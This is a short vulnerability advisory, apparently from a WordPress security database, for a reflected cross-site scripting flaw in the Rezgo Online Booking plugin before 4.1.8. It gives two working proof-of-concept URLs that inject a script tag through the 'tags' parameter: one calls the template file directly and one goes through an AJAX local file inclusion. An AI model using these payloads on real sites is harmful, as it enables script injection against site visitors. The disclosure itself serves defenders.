Rezgo Online Booking < 4.1.8 - Reflected Cross-Site-Scripting

2022-07-2600:00:00

cydave

195

0.001 Low

EPSS

Percentile

40.3%

JSON

The plugin does not sanitise and escape some parameters before outputting them back in a page, leading to a Reflected Cross-Site Scripting, which can be exploited either via a LFI in an AJAX action, or direct call to the affected file

Direct call: https://example.com/wp-content/plugins/rezgo/rezgo/templates/default/frame_header.php?tags=%22%3E%3Cscript%3Ealert(`xss`)%3C/script%3E

Via the LFI:

Once the plugin is configured (can use a dummy "Rezgo Company Code" and "Rezgo API Key" in the "Acccount Information" settings section):

http://example.com/wp-admin/admin-ajax.php?action=rezgo&method=rezgo/templates/default/frame_header&tags=%22%3E%3Cscript%3Ealert(`xss`)%3C/script%3E

0.001 Low

EPSS

Percentile

40.3%

JSON

Related for WPEX-ID:005C2300-F6BD-416E-97A6-D42284BBB093